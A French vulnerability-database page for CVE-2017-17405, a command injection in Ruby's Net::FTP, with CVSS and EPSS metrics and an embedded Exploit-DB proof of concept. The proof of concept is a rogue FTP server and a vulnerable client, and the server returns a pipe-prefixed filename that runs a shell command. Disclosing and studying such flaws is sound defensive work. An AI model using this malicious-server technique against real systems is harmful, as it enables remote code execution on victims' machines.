CVE-2017-17405 Détail

CVE-2017-17405

Score / Gravité

8.8

Haute

Catégories

OS Command Injection

OWSAP

A03-Injection

EPSS

35.25%V3

Vecteur

Network

Publié

2017-12-15
08h00 +00:00

Modifié

2019-09-19
07h06 +00:00

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CVE.org

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Descriptions du CVE

Ruby before 2.4.3 allows Net::FTP command injection. Net::FTP#get, getbinaryfile, gettextfile, put, putbinaryfile, and puttextfile use Kernel#open to open a local file. If the localfile argument starts with the "|" pipe character, the command following the pipe character is executed. The default value of localfile is File.basename(remotefile), so malicious FTP servers could cause arbitrary command execution.

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V3.0	8.8	HIGH	CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	9.3		AV:N/AC:M/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 43381

Date de publication : 2017-12-01 23h00 +00:00
Auteur : Etienne Stalmans
EDB Vérifié : No

While using NET::Ftp I realised you could get command execution through "malicious" file names. The problem lies in the `gettextfile(remotefile, localfile = File.basename(remotefile))` method. When looking at the source code, you'll note: ``` def gettextfile(remotefile, localfile = File.basename(remotefile), &block) # :yield: line f = nil result = nil if localfile f = open(localfile, "w") # Vulnerable code here. open("| os command","w") elsif !block_given? result = String.new end ``` The `localfile` value will trigger command execution if the value is `| os command`. In general use, most users would likely provide their own localfile value and would not rely on the default of `File.basename(remotefile)`; however, in some situations, such as listing and downloading all files in a FTP share, the remotefile value would be controlled by the remote host and could thus be manipulated into causing RCE. Since the file path is simply a string returned by the server (either `ls -l` style for the `LIST` command, or filenames for `NLIST`), there is no need/guarantee that filename will be a valid filename. I have attached a sample server that can be used to trigger this vulnerability, as well as a sample client which is vulnerable. ## Usage: Change the `host` and `port` values in both //ftpserver.rb// and //client.rb// Start the server: `ruby ftpserver.rb` Run the client: `ruby client.rb` Observe that a new file has been created in the CWD of the //client.rb//. The file will be called `pang` and contain the output of the `id` command. As seen in screenshot1.png The provided attack example is a little contrived and assumes the user is accepting the file names provided by the server, rather than their own. However, since there is no clear indication in the documentation or an expectation that filenames could lead to RCE, users may be caught unaware. It would probably be best to not use `open` in NET::Ftp, but rather something like `File.open`, maintaining both expected behaviour and security. ## Impact Remote code execution through command injection. As a user of the NET::Ftp is expecting normal file creation behaviour, they might not be sanitising file paths. --cilent.rb-- ``` require 'net/ftp' host = '172.17.0.4' port = 2121 Net::FTP.const_set('FTP_PORT',port) Net::FTP.open(host) do |ftp| ftp.login fileList = ftp.nlst('*') fileList.each do |file| ftp.gettextfile(file) end end ``` --cilent.rb-- - - - --ftpserv.rb-- ``` require 'socket' host = '172.17.0.4' port = 2121 hostsplit = host.tr('.',',') server = TCPServer.new port loop do Thread.start(server.accept) do |client| client.puts "220 Attack FTP\r\n" r = client.gets puts r client.puts "331 password please - version check\r\n" r = client.gets puts r client.puts "230 User logged in\r\n" r = client.gets puts r client.puts "230 more data please!\r\n" r = client.gets puts r client.puts "230 more data please!\r\n" r = client.gets puts r wait = true psv = Thread.new do pserver = TCPServer.new 23461 Thread.start(pserver.accept) do |pclient| while wait do end pclient.puts "|echo${IFS}$(id)${IFS}>pang\r\n" pclient.close end end sleep 1 client.puts "227 Entering Passive Mode ("+hostsplit+",91,165)\r\n" r = client.gets puts r psv.join client.puts "150 Here comes the directory listing.\r\n" wait = false client.puts "226 Directory send OK.\r\n" r = client.gets puts r client.puts "221 goodbye\r\n" client.close end end ``` --ftpserv.rb-- - - - E-DB Note: https://www.ruby-lang.org/en/news/2017/12/14/net-ftp-command-injection-cve-2017-17405/ E-DB Nte: https://hackerone.com/reports/294462